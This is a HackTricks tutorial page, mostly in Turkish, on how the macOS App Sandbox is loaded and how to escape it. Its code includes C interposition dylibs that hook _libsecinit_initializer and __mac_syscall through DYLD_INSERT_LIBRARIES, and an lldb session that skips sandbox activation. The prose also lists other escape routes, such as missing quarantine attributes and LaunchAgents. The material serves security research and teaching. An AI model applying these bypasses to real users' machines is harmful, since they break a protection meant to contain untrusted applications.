macOS Sandbox Debug & Bypass

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Sandbox yükleme süreci

Image from http://newosxbook.com/files/HITSB.pdf

Önceki görüntüde, com.apple.security.app-sandbox yetkisine sahip bir uygulama çalıştırıldığında sandbox'ın nasıl yükleneceği gözlemlenebilir.

Derleyici, ikili dosyaya /usr/lib/libSystem.B.dylib bağlantısını yapacaktır.

Daha sonra, libSystem.B, xpc_pipe_routine uygulamanın yetkilerini securityd'ye gönderene kadar birkaç başka fonksiyonu çağıracaktır. Securityd, sürecin Sandbox içinde karantinaya alınması gerekip gerekmediğini kontrol eder ve eğer öyleyse, karantinaya alınacaktır. Son olarak, sandbox, __sandbox_ms çağrısıyla etkinleştirilecek ve bu da __mac_syscall'ı çağıracaktır.

Olası Bypass'ler

Karantina niteliğini atlama

Sandbox'lı süreçler tarafından oluşturulan dosyalar, sandbox kaçışını önlemek için karantina niteliği eklenir. Ancak, eğer bir sandboxlı uygulama içinde karantina niteliği olmayan bir .app klasörü oluşturmayı başarırsanız, uygulama paketinin ikili dosyasını /bin/bash'e yönlendirebilir ve plist içinde bazı çevre değişkenleri ekleyerek open'i kötüye kullanarak yeni uygulamayı sandbox dışı başlatabilirsiniz.

Bu, CVE-2023-32364'te yapılan şeydir.

Bu nedenle, şu anda, eğer sadece karantina niteliği olmayan bir isimle biten .app klasörü oluşturabiliyorsanız, sandbox'tan kaçabilirsiniz çünkü macOS sadece .app klasöründeki ve ana çalıştırılabilir dosyadaki karantina niteliğini kontrol eder (ve biz ana çalıştırılabilir dosyayı /bin/bash'e yönlendireceğiz).

Eğer bir .app paketi zaten çalıştırılmak üzere yetkilendirilmişse (çalıştırma yetkisi olan bir karantina xttr'ı varsa), bunu da kötüye kullanabilirsiniz... tek farkla, artık .app paketleri içinde yazamazsınız, eğer bazı ayrıcalıklı TCC izinleriniz yoksa (ki bunlar sandbox yüksek içinde olmayacaktır).

Open işlevselliğini kötüye kullanma

Son Word sandbox bypass örneklerinde, open cli işlevselliğinin sandbox'ı atlamak için nasıl kötüye kullanılabileceği görülebilir.

macOS Office Sandbox Bypasses

Başlatma Ajanları/Daemon'ları

Bir uygulama sandbox'lı olacak şekilde tasarlanmışsa (com.apple.security.app-sandbox), örneğin bir LaunchAgent'tan çalıştırıldığında sandbox'ı atlamak mümkündür. Bu yazıda açıklandığı gibi, sandbox'lı bir uygulama ile kalıcılık kazanmak istiyorsanız, otomatik olarak bir LaunchAgent olarak çalıştırılmasını sağlayabilir ve belki de DyLib çevre değişkenleri aracılığıyla kötü niyetli kod enjekte edebilirsiniz.

Otomatik Başlatma Konumlarını Kötüye Kullanma

Eğer bir sandbox'lı süreç, sonrasında bir sandbox dışı uygulamanın ikili dosyasını çalıştıracağı bir yere yazabiliyorsa, sadece oraya ikili dosyayı yerleştirerek kaçabilir. Bu tür konumların iyi bir örneği ~/Library/LaunchAgents veya /System/Library/LaunchDaemons'dır.

Bunun için belki de 2 adım gerekebilir: Daha izinli bir sandbox (file-read*, file-write*) ile bir sürecin kodunuzu çalıştırmasını sağlamak ve bu kodun aslında sandbox dışı çalıştırılacak bir yere yazmasını sağlamak.

Otomatik Başlatma konumları hakkında bu sayfayı kontrol edin:

macOS Auto Start

Diğer süreçleri kötüye kullanma

Eğer o sandbox sürecinden, daha az kısıtlayıcı sandbox'larda (veya hiç) çalışan diğer süreçleri tehlikeye atabiliyorsanız, onların sandbox'larından kaçabilirsiniz:

macOS Process Abuse

Statik Derleme & Dinamik Bağlama

Bu araştırma sandbox'ı atlamak için 2 yol keşfetti. Çünkü sandbox, libSystem kütüphanesi yüklendiğinde kullanıcı alanından uygulanır. Eğer bir ikili dosya bu kütüphaneyi yüklemekten kaçınabilirse, asla sandbox'a alınmaz:

• Eğer ikili dosya tamamen statik olarak derlenmişse, o kütüphaneyi yüklemekten kaçınabilir.

• Eğer ikili dosya herhangi bir kütüphane yüklemeye ihtiyaç duymuyorsa (çünkü bağlayıcı da libSystem'dadır), libSystem'i yüklemesine gerek kalmaz.

Shell kodları

Shell kodlarının ARM64'te bile libSystem.dylib'de bağlanması gerektiğini unutmayın:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Yetkiler

Not edin ki bazı hareketler bir uygulama belirli bir yetkiye sahipse sandbox tarafından izin verilebilir.

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Interposting Bypass

Daha fazla bilgi için Interposting hakkında kontrol edin:

macOS Function Hooking

Sandbox'ı önlemek için _libsecinit_initializer'ı interpost et

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interpost __mac_syscall Sandbox'ı Önlemek için

interpose.c

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Debug & bypass Sandbox with lldb

Sandbox'lanması gereken bir uygulama derleyelim:

sand.c

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

entitlements.xml

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>

Info.plist

<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>

Sonra uygulamayı derleyin:

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

Uygulama ~/Desktop/del.txt dosyasını okumaya çalışacak, ancak Sandbox buna izin vermeyecek. Sandbox aşıldığında okuyabilmesi için orada bir dosya oluşturun:

echo "Sandbox Bypassed" > ~/Desktop/del.txt

Uygulamayı hata ayıklayalım ve Sandbox'ın ne zaman yüklendiğini görelim:

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660

# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
0x187659904 <+4>:  svc    #0x80
0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)

Sandbox atlatılsa bile TCC kullanıcıdan sürecin masaüstünden dosya okumak isteyip istemediğini soracaktır.

Referanslar

• http://newosxbook.com/files/HITSB.pdf

• https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/

• https://www.youtube.com/watch?v=mG715HcDgO8

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.